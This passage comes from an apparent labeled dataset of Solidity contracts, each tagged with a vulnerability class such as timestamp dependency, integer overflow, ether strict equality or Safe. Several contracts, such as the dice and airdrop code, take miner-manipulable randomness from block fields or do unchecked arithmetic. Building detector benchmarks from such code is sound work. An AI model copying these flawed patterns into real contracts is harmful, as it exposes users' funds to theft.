public playersToBetIndices; function playerAmountOfBets(address _player) external view returns (uint256) { return playersToBetIndices[_player].length; } function totalUniquePlayers() external view returns (uint256) { return allPlayers.length; } event BetPlaced(address indexed gambler, uint256 betIndex); event BetWon(address indexed gambler, uint256 betIndex); event BetLost(address indexed gambler, uint256 betIndex); event BetCanceled(address indexed gambler, uint256 betIndex); enum BetStatus { NON_EXISTANT, IN_PROGRESS, WON, LOST, CANCELED } struct Bet { address gambler; uint256 winningChance; uint256 betAmount; uint256 potentialRevenue; uint256 roll; BetStatus status; } Bet[] public bets; uint public betsLength = 0; mapping(bytes32 => uint256) public oraclizeQueryIdsToBetIndices; function betPlaced(address gameContract, uint256 _amount) external { require(addressIsStakeDiceGameContract[gameContract] == true); require(_amount >= minimumBet); require(_amount <= StakeDiceGame(gameContract).maximumBet()); stakeTokenContract.transferFrom(msg.sender, this, _amount); uint256 potentialRevenue = StakeDiceGame(gameContract).multiplierOnWin() * _amount / 10000; emit BetPlaced(msg.sender, bets.length); playersToBetIndices[msg.sender].push(bets.length); bets.push(Bet({gambler: msg.sender, winningChance: StakeDiceGame(gameContract).winningChance(), betAmount: _amount, potentialRevenue: potentialRevenue, roll: 0, status: BetStatus.IN_PROGRESS})); betsLength +=1; if (playersToTotalBets[msg.sender] == 0) { allPlayers.push(msg.sender); } playersToTotalBets[msg.sender] += _amount; uint256 betIndex = betsLength; Bet storage bet = bets[betIndex]; require(bet.status == BetStatus.IN_PROGRESS); uint randomNumber = uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty)))%100); bet.roll = randomNumber; if (randomNumber < bet.winningChance/100) { if (stakeTokenContract.balanceOf(this) < bet.potentialRevenue) { _cancelBet(betIndex); } else { bet.status = BetStatus.WON; stakeTokenContract.transfer(bet.gambler, bet.potentialRevenue); emit BetWon(bet.gambler, betIndex); } } else { bet.status = BetStatus.LOST; stakeTokenContract.transfer(bet.gambler, 1); emit BetLost(bet.gambler, betIndex); } } function _cancelBet(uint256 _betIndex) private { require(bets[_betIndex].status == BetStatus.IN_PROGRESS); bets[_betIndex].status = BetStatus.CANCELED; stakeTokenContract.transfer(bets[_betIndex].gambler, bets[_betIndex].betAmount); emit BetCanceled(bets[_betIndex].gambler, _betIndex); playersToTotalBets[bets[_betIndex].gambler] -= bets[_betIndex].betAmount; } function amountOfGames() external view returns (uint256) { return allGames.length; } function amountOfBets() external view returns (uint256) { return bets.length-1; } address public owner; constructor(StakeToken _stakeTokenContract, uint256 _houseEdge, uint256 _minimumBet) public { bets.length = 1; owner = msg.sender; require(_houseEdge < 10000); require(_stakeTokenContract != address(0x0)); stakeTokenContract = _stakeTokenContract; houseEdge = _houseEdge; minimumBet = _minimumBet; } function createDefaultGames() public { require(allGames.length == 0); addNewStakeDiceGame(500); addNewStakeDiceGame(1000); addNewStakeDiceGame(1500); addNewStakeDiceGame(2000); addNewStakeDiceGame(2500); addNewStakeDiceGame(3000); addNewStakeDiceGame(3500); addNewStakeDiceGame(4000); addNewStakeDiceGame(4500); addNewStakeDiceGame(5000); addNewStakeDiceGame(5500); addNewStakeDiceGame(6000); addNewStakeDiceGame(6500); addNewStakeDiceGame(7000); addNewStakeDiceGame(7500); addNewStakeDiceGame(8000); addNewStakeDiceGame(8500); addNewStakeDiceGame(9000); addNewStakeDiceGame(9500); } function cancelBet(uint256 _betIndex) public { require(msg.sender == owner); _cancelBet(_betIndex); } function addNewStakeDiceGame(uint256 _winningChance) public { require(msg.sender == owner); StakeDiceGame newGame = new StakeDiceGame(this, _winningChance); addressIsStakeDiceGameContract[newGame] = true; allGames.push(newGame); } function setHouseEdge(uint256 _newHouseEdge) external { require(msg.sender == owner); require(_newHouseEdge < 10000); houseEdge = _newHouseEdge; } function setMinimumBet(uint256 _newMinimumBet) external { require(msg.sender == owner); minimumBet = _newMinimumBet; } function depositEther() payable external { require(msg.sender == owner); } function withdrawEther(uint256 _amount) payable external { require(msg.sender == owner); owner.transfer(_amount); } function transferOwnership(address _newOwner) external { require(msg.sender == owner); require(_newOwner != 0x0); owner = _newOwner; } function withdrawStakeTokens(uint256 _amount) external { require(msg.sender == owner); stakeTokenContract.transfer(owner, _amount); } function () payable external { revert(); } }",./Dataset/timestamp dependency (TP)/,6,6 1230.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 8; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal { require(_to != 0x0); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract AL is owned, TokenERC20 { mapping (address => bool) public frozenAccount; event FrozenFunds(address target, bool frozen); constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) TokenERC20(initialSupply, tokenName, tokenSymbol) public {} function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); require (balanceOf[_from] >= _value); require (balanceOf[_to] + _value > balanceOf[_to]); require(!frozenAccount[_from]); require(!frozenAccount[_to]); balanceOf[_from] -= _value; balanceOf[_to] += _value; emit Transfer(_from, _to, _value); } function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(0, this, mintedAmount); emit Transfer(this, target, mintedAmount); } function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }",./Dataset/integer overflow (OF)/,4,4 9998.sol,"pragma solidity ^0.4.21; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract StandardToken { using SafeMath for uint256; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) internal balances_; mapping(address => mapping(address => uint256)) internal allowed_; uint256 internal totalSupply_; string public name; string public symbol; uint8 public decimals; function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address _owner) public view returns (uint256) { return balances_[_owner]; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed_[_owner][_spender]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[msg.sender]); balances_[msg.sender] = balances_[msg.sender].sub(_value); balances_[_to] = balances_[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances_[_from]); require(_value <= allowed_[_from][msg.sender]); balances_[_from] = balances_[_from].sub(_value); balances_[_to] = balances_[_to].add(_value); allowed_[_from][msg.sender] = allowed_[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed_[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract EthTeamContract is StandardToken, Ownable { event Buy(address indexed token, address indexed from, uint256 value, uint256 weiValue); event Sell(address indexed token, address indexed from, uint256 value, uint256 weiValue); event BeginGame(address indexed team1, address indexed team2, uint64 gameTime); event EndGame(address indexed team1, address indexed team2, uint8 gameResult); event ChangeStatus(address indexed team, uint8 status); uint256 public price; uint8 public status; uint64 public gameTime; uint64 public finishTime; address public feeOwner; address public gameOpponent; function EthTeamContract( string _teamName, string _teamSymbol, address _gameOpponent, uint64 _gameTime, uint64 _finishTime, address _feeOwner ) public { name = _teamName; symbol = _teamSymbol; decimals = 3; totalSupply_ = 0; price = 1 szabo; gameOpponent = _gameOpponent; gameTime = _gameTime; finishTime = _finishTime; feeOwner = _feeOwner; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool) { if (_to != address(this)) { return super.transfer(_to, _value); } require(_value <= balances_[msg.sender] && status == 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } balances_[msg.sender] = balances_[msg.sender].sub(_value); totalSupply_ = totalSupply_.sub(_value); uint256 weiAmount = price.mul(_value); msg.sender.transfer(weiAmount); emit Transfer(msg.sender, _to, _value); emit Sell(_to, msg.sender, _value, weiAmount); return true; } function() payable public { require(status == 0 && price > 0); if (gameTime > 1514764800) { require(gameTime > block.timestamp); } uint256 amount = msg.value.div(price); balances_[msg.sender] = balances_[msg.sender].add(amount); totalSupply_ = totalSupply_.add(amount); emit Transfer(address(this), msg.sender, amount); emit Buy(address(this), msg.sender, amount, msg.value); } function changeStatus(uint8 _status) onlyOwner public { require(status != _status); status = _status; emit ChangeStatus(address(this), _status); } function finish() onlyOwner public { require(block.timestamp >= finishTime); feeOwner.transfer(address(this).balance); } function beginGame(address _gameOpponent, uint64 _gameTime) onlyOwner public { require(_gameOpponent != address(this)); require(_gameTime == 0 || (_gameTime > 1514764800)); gameOpponent = _gameOpponent; gameTime = _gameTime; status = 0; emit BeginGame(address(this), _gameOpponent, _gameTime); } function endGame(address _gameOpponent, uint8 _gameResult) onlyOwner public { require(gameOpponent != address(0) && gameOpponent == _gameOpponent); uint256 amount = address(this).balance; uint256 opAmount = gameOpponent.balance; require(_gameResult == 1 || (_gameResult == 2 && amount >= opAmount) || _gameResult == 3); EthTeamContract op = EthTeamContract(gameOpponent); if (_gameResult == 1) { if (amount > 0 && totalSupply_ > 0) { uint256 lostAmount = amount; if (op.totalSupply() > 0) { uint256 feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else { op.transferFundAndEndGame(); } } else if (_gameResult == 2) { if (amount > opAmount) { lostAmount = amount.sub(opAmount).div(2); if (op.totalSupply() > 0) { feeAmount = lostAmount.div(20); lostAmount = lostAmount.sub(feeAmount); feeOwner.transfer(feeAmount); op.transferFundAndEndGame.value(lostAmount)(); } else { feeOwner.transfer(lostAmount); op.transferFundAndEndGame(); } } else if (amount == opAmount) { op.transferFundAndEndGame(); } else { revert(); } } else if (_gameResult == 3) { op.transferFundAndEndGame(); } else { revert(); } endGameInternal(); if (totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } emit EndGame(address(this), _gameOpponent, _gameResult); } function endGameInternal() private { gameOpponent = address(0); gameTime = 0; status = 0; } function transferFundAndEndGame() payable public { require(gameOpponent != address(0) && gameOpponent == msg.sender); if (msg.value > 0 && totalSupply_ > 0) { price = address(this).balance.div(totalSupply_); } endGameInternal(); } }",./Dataset/timestamp dependency (TP)/,6,6 2772.sol,"pragma solidity ^0.4.24; contract Random { using SafeMath for *; constructor() public {} function isDrop(uint256 airDropTracker, address sender) public view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker) return(true); else return(false); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/timestamp dependency (TP)/,6,6 10736.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() internal { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract LescovexERC20 is Ownable { using SafeMath for uint256; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) internal allowed; mapping (address => timeHold) holded; struct timeHold{ uint256[] amount; uint256[] time; uint256 length; } string public constant standard = ""ERC20 Lescovex ISC Income Smart Contract""; uint8 public constant decimals = 8; uint256 public holdMax = 100; uint256 public totalSupply; uint256 public holdTime; string public name; string public symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } function holdedOf(address _owner) public view returns (uint256) { uint256 requiredTime = block.timestamp - holdTime; uint256 iValid = 0; uint256 iNotValid = holded[_owner].length; if (iNotValid == 0 || holded[_owner].time[iValid] >= requiredTime) { return 0; } uint256 i = iNotValid / 2; while (i > iValid) { if (holded[_owner].time[i] < requiredTime) { iValid = i; } else { iNotValid = i; } i = (iNotValid + iValid) / 2; } return holded[_owner].amount[iValid]; } function hold(address _to, uint256 _value) internal { assert(holded[_to].length < holdMax); uint256 len = holded[_to].length; uint256 accumulatedValue = (len == 0 ) ? _value : _value + holded[_to].amount[len - 1]; holded[_to].amount.push(accumulatedValue); holded[_to].time.push(block.timestamp); holded[_to].length++; } function setHoldTime(uint256 _value) external onlyOwner{ holdTime = _value; } function setHoldMax(uint256 _value) external onlyOwner{ holdMax = _value; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); delete holded[msg.sender]; hold(msg.sender,balances[msg.sender]); hold(_to,_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); delete holded[_from]; hold(_from,balances[_from]); hold(_to,_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external ; } contract Lescovex_ISC is LescovexERC20 { uint256 public contractBalance = 0; event LogDeposit(address sender, uint amount); event LogWithdrawal(address receiver, uint amount); address contractAddr = this; constructor ( uint256 initialSupply, string contractName, string tokenSymbol, uint256 contractHoldTime, address contractOwner ) public { totalSupply = initialSupply; name = contractName; symbol = tokenSymbol; holdTime = contractHoldTime; balances[contractOwner] = totalSupply; } function deposit() external payable onlyOwner returns(bool success) { contractBalance = contractAddr.balance; emit LogDeposit(msg.sender, msg.value); return true; } function withdrawReward() external { uint256 ethAmount = (holdedOf(msg.sender) * contractBalance) / totalSupply; require(ethAmount > 0); emit LogWithdrawal(msg.sender, ethAmount); delete holded[msg.sender]; hold(msg.sender,balances[msg.sender]); msg.sender.transfer(ethAmount); } function withdraw(uint256 value) external onlyOwner { msg.sender.transfer(value); emit LogWithdrawal(msg.sender, value); } }",./Dataset/timestamp dependency (TP)/,6,6 0x01d706ed109e2038ae3261e30a1ed1af207a9d2c_ETHERECASHTOKEN.sol,"pragma solidity ^0.4.16; interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract ETHERECASHTOKEN { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constructor function * * Initializes contract with initial supply tokens to the creator of the contract */ function ETHERECASHTOKEN( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value >= balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }",Safe,8,8 1540.sol,"pragma solidity ^0.4.21; library SafeMath { function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } } contract Token { function balanceOf(address _owner) public returns (uint256); function transfer(address to, uint256 tokens) public returns (bool); function transferFrom(address from, address to, uint256 tokens) public returns(bool); } contract TokenLiquidityMarket { using SafeMath for uint256; address public platform; address public admin; address public traded_token; uint256 public eth_seed_amount; uint256 public traded_token_seed_amount; uint256 public commission_ratio; uint256 public eth_balance; uint256 public traded_token_balance; bool public eth_is_seeded; bool public traded_token_is_seeded; bool public trading_deactivated; bool public admin_commission_activated; modifier only_admin() { require(msg.sender == admin); _; } modifier trading_activated() { require(trading_deactivated == false); _; } function TokenLiquidityMarket(address _traded_token,uint256 _eth_seed_amount, uint256 _traded_token_seed_amount, uint256 _commission_ratio) public { admin = tx.origin; platform = msg.sender; traded_token = _traded_token; eth_seed_amount = _eth_seed_amount; traded_token_seed_amount = _traded_token_seed_amount; commission_ratio = _commission_ratio; } function change_admin(address _newAdmin) public only_admin() { admin = _newAdmin; } function withdraw_arbitrary_token(address _token, uint256 _amount) public only_admin() { require(_token != traded_token); require(Token(_token).transfer(admin, _amount)); } function withdraw_excess_tokens() public only_admin() { uint256 queried_traded_token_balance_ = Token(traded_token).balanceOf(this); require(queried_traded_token_balance_ >= traded_token_balance); uint256 excess_ = queried_traded_token_balance_.sub(traded_token_balance); require(Token(traded_token).transfer(admin, excess_)); } function transfer_tokens_through_proxy_to_contract(address _from, address _to, uint256 _amount) private { traded_token_balance = traded_token_balance.add(_amount); require(Token(traded_token).transferFrom(_from,_to,_amount)); } function transfer_tokens_from_contract(address _to, uint256 _amount) private { traded_token_balance = traded_token_balance.sub(_amount); require(Token(traded_token).transfer(_to,_amount)); } function transfer_eth_to_contract() private { eth_balance = eth_balance.add(msg.value); } function transfer_eth_from_contract(address _to, uint256 _amount) private { eth_balance = eth_balance.sub(_amount); _to.transfer(_amount); } function deposit_token(uint256 _amount) private { transfer_tokens_through_proxy_to_contract(msg.sender, this, _amount); } function deposit_eth() private { transfer_eth_to_contract(); } function withdraw_token(uint256 _amount) public only_admin() { transfer_tokens_from_contract(admin, _amount); } function withdraw_eth(uint256 _amount) public only_admin() { transfer_eth_from_contract(admin, _amount); } function set_traded_token_as_seeded() private { traded_token_is_seeded = true; } function set_eth_as_seeded() private { eth_is_seeded = true; } function seed_traded_token() public only_admin() { require(!traded_token_is_seeded); set_traded_token_as_seeded(); deposit_token(traded_token_seed_amount); } function seed_eth() public payable only_admin() { require(!eth_is_seeded); require(msg.value == eth_seed_amount); set_eth_as_seeded(); deposit_eth(); } function seed_additional_token(uint256 _amount) public only_admin() { require(market_is_open()); deposit_token(_amount); } function seed_additional_eth() public payable only_admin() { require(market_is_open()); deposit_eth(); } function market_is_open() private view returns(bool) { return (eth_is_seeded && traded_token_is_seeded); } function deactivate_trading() public only_admin() { require(!trading_deactivated); trading_deactivated = true; } function reactivate_trading() public only_admin() { require(trading_deactivated); trading_deactivated = false; } function get_amount_sell(uint256 _amount) public view returns(uint256) { uint256 traded_token_balance_plus_amount_ = traded_token_balance.add(_amount); return (eth_balance.mul(_amount)).div(traded_token_balance_plus_amount_); } function get_amount_buy(uint256 _amount) public view returns(uint256) { uint256 eth_balance_plus_amount_ = eth_balance.add(_amount); return ((traded_token_balance).mul(_amount)).div(eth_balance_plus_amount_); } function get_amount_minus_commission(uint256 _amount) private view returns(uint256) { return (_amount.mul(uint256(1 ether).sub(commission_ratio))).div(1 ether); } function activate_admin_commission() public only_admin() { require(!admin_commission_activated); admin_commission_activated = true; } function deactivate_admin_comission() public only_admin() { require(admin_commission_activated); admin_commission_activated = false; } function change_admin_commission(uint256 _new_commission_ratio) public only_admin() { require(_new_commission_ratio != commission_ratio); commission_ratio = _new_commission_ratio; } function complete_sell_exchange(uint256 _amount_give) private { uint256 amount_get_ = get_amount_sell(_amount_give); uint256 amount_get_minus_commission_ = get_amount_minus_commission(amount_get_); uint256 platform_commission_ = (amount_get_.sub(amount_get_minus_commission_)).div(5); uint256 admin_commission_ = ((amount_get_.sub(amount_get_minus_commission_)).mul(4)).div(5); transfer_tokens_through_proxy_to_contract(msg.sender,this,_amount_give); transfer_eth_from_contract(msg.sender,amount_get_minus_commission_); transfer_eth_from_contract(platform, platform_commission_); if(admin_commission_activated) { transfer_eth_from_contract(admin, admin_commission_); } } function complete_buy_exchange() private { uint256 amount_get_ = get_amount_buy(msg.value); uint256 amount_get_minus_commission_ = get_amount_minus_commission(amount_get_); uint256 platform_commission_ = (amount_get_.sub(amount_get_minus_commission_)).div(5); uint256 admin_commission_ = ((amount_get_.sub(amount_get_minus_commission_)).mul(4)).div(5); transfer_eth_to_contract(); transfer_tokens_from_contract(msg.sender, amount_get_minus_commission_); transfer_tokens_from_contract(platform, platform_commission_); if(admin_commission_activated) { transfer_tokens_from_contract(admin, admin_commission_); } } function sell_tokens(uint256 _amount_give) public trading_activated() { require(market_is_open()); complete_sell_exchange(_amount_give); } function buy_tokens() private trading_activated() { require(market_is_open()); complete_buy_exchange(); } function() public payable { buy_tokens(); } }",./Dataset/ether strict equality (SE),3,3 399.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Saturn is Ownable { using SafeMath for uint256; struct Player { uint256 pid; uint256 ethTotal; uint256 ethBalance; uint256 ethWithdraw; uint256 ethShareWithdraw; uint256 tokenBalance; uint256 tokenDay; uint256 tokenDayBalance; } struct LuckyRecord { address player; uint256 amount; uint64 txId; uint64 time; uint64 level; } struct LuckyPending { address player; uint256 amount; uint64 txId; uint64 block; uint64 level; } struct InternalBuyEvent { uint256 flag1; } event Transfer(address indexed _from, address indexed _to, uint256 _value); event Buy( address indexed _token, address indexed _player, uint256 _amount, uint256 _total, uint256 _totalSupply, uint256 _totalPot, uint256 _sharePot, uint256 _finalPot, uint256 _luckyPot, uint256 _price, uint256 _flag1 ); event Withdraw(address indexed _token, address indexed _player, uint256 _amount); event Win(address indexed _token, address indexed _winner, uint256 _winAmount); string constant public name = ""Saturn""; string constant public symbol = ""SAT""; uint8 constant public decimals = 18; uint256 constant private FEE_REGISTER_ACCOUNT = 10 finney; uint256 constant private BUY_AMOUNT_MIN = 1000000000; uint256 constant private BUY_AMOUNT_MAX = 100000000000000000000000; uint256 constant private TIME_DURATION_INCREASE = 30 seconds; uint256 constant private TIME_DURATION_MAX = 24 hours; uint256 constant private ONE_TOKEN = 1000000000000000000; mapping(address => Player) public playerOf; mapping(uint256 => address) 